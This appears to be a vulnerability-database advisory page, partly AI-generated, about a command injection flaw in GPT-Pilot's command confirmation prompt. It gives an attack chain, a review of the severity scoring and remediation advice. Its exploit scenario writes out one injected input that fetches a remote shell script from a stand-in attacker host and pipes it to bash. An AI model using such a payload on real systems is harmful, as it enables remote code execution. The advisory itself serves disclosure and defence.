Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAccess GPT-Pilot session (local or network)
-
DeliveryTrigger or await command confirmation prompt in Executor.run()
-
ExploitInject shell metacharacters into free-text input
-
Executionasyncio.create_subprocess_shell() passes unsanitized string to /bin/sh
-
ImpactExecute arbitrary commands as GPT-Pilot process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires GPT-Pilot to reach the interactive command confirmation state in Executor.run(), which is triggered during normal AI-driven project execution whenever the tool proposes a shell command and prompts the user to confirm or modify it before running. The attacker must be able to supply input at this specific prompt - either as the local operator of GPT-Pilot, or as a remote user if the GPT-Pilot process or its interface is network-accessible. The CVSS PR:N assignment indicates no authentication is required to interact with the confirmation prompt once access is available. Exploitation is limited by two factors: the confirmation workflow must be actively triggered (GPT-Pilot must be running and in command-execution mode), and the attacker must have the ability to provide input at that moment rather than the intended user. Single-developer local CLI use is the lowest-risk scenario; shared session environments or network-exposed GPT-Pilot deployments substantially widen the attack surface. |
| Impact | The NVD-assigned CVSS 6.5 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) contains multiple metrics that appear inconsistent with the vulnerability description and warrant scrutiny. First, UI:N conflicts with the description's explicit statement that exploitation occurs 'when the system prompts the user to confirm or modify a command' - a user interaction step is required, suggesting UI:R. Second, AV:N overstates the attack surface for a tool that is almost exclusively deployed as a local CLI developer utility; only explicitly network-exposed deployments would justify AV:N. Third, C:L and I:L significantly understate the actual impact of command injection leading to arbitrary shell execution, which typically yields full C:H/I:H/A:H. SSVC independently rates exploitation as 'none' and automatable as 'no,' both consistent with a UI:R interpretation and reinforcing that this is not a point-and-shoot attack. EPSS at 0.14% confirms low exploitation activity. The absence of a KEV listing and no identified public POC further reduce urgency. Real-world risk is moderate for single-developer local use (where the user would be self-exploiting), but meaningfully higher in shared or team deployments where multiple parties can interact with a running GPT-Pilot session. |
| Exploit ScenarioDerived | A developer or attacker with access to a running GPT-Pilot session waits for the tool to enter command confirmation mode during normal AI-driven project execution. Instead of accepting or making benign edits to the proposed command, the actor inputs a crafted string such as 'build_cmd; curl attacker.com/shell.sh | bash', which asyncio.create_subprocess_shell() passes verbatim to /bin/sh, executing both the original command and the injected payload with the privileges of the GPT-Pilot process. No public POC has been identified, but the exploitation path requires minimal technical sophistication given Python's transparent shell metacharacter interpretation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Command injection in GPT-Pilot's Executor.run() method enables arbitrary shell command execution through the interactive command confirmation workflow, affecting all versions through commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03). An actor with access to the confirmation prompt - locally or via a network-exposed deployment - can substitute malicious shell commands that are passed unsanitized to asyncio.create_subprocess_shell(), executing with the full privileges of the GPT-Pilot process. No active exploitation has been confirmed (not in CISA KEV), and EPSS at 0.14% (33rd percentile) reflects low current exploitation activity, though the RCE impact class warrants attention in multi-user or network-exposed deployments.
RemediationAI
The primary fix is to update GPT-Pilot to any commit beyond 0819827ce20346ef5f25b3fe29293cb448840565, once a patched version is confirmed via the repository at https://github.com/Pythagora-io/gpt-pilot or the vendor advisory at https://www.notion.so/CVE-2026-31246-35d1e1393188812ea3c6c88ad28d3d57. No specific patched version or release tag has been confirmed from the available data. If a patch is not yet available, the root fix at the code level is to replace asyncio.create_subprocess_shell() with asyncio.create_subprocess_exec() using pre-tokenized argument lists, which bypasses shell interpretation entirely and eliminates the injection surface. As a compensating control in multi-user or shared deployments, restrict interactive access to the GPT-Pilot process to trusted users only, or disable the free-text command modification feature in the confirmation workflow until patched. Disabling shell=True equivalents eliminates the injection path but requires refactoring command construction logic throughout Executor.run().
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GPT-Pilot is a Python-based AI software development assistant that autonomously generates and executes shell commands to build software. The vulnerable Executor.run() method uses Python's asyncio.create_subprocess_shell() - the async equivalent of subprocess.Popen(shell=True) - to run AI-generated commands. The shell=True mode passes the command string to /bin/sh, which interprets metacharacters (;, &&, |, $(), backticks) as control operators. The interactive confirmation step was designed as a safety gate allowing users to review or modify commands before execution, but because free-text input is concatenated directly into the shell command string without stripping special characters, it becomes the injection vector rather than a safeguard. This matches CWE-78 (Improper Neutralization of Special Elements used in an OS Command) exactly. CPE data in NVD is populated as n/a, so no automated CPE-based version detection is possible; the affected version boundary is defined only by the specific git commit hash.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
AV:L reflects typical local CLI deployment; UI:R reflects the mandatory confirmation prompt; C/I/A:H reflects full arbitrary shell execution potential.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
GPT-Pilot thru commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03) contains a command injection vulnerability (CWE-78) in the Executor.run() method. During project execution, when the system prompts the user to confirm or modify a command to be run, it accepts free-text input without proper validation. The user-supplied input is directly passed to asyncio.create_subprocess_shell() for execution. This allows an attacker to replace the intended command with arbitrary shell commands, leading to remote code execution with the privileges of the GPT-Pilot process.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2026-29054
GHSA-m85w-whwh-qvfx
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB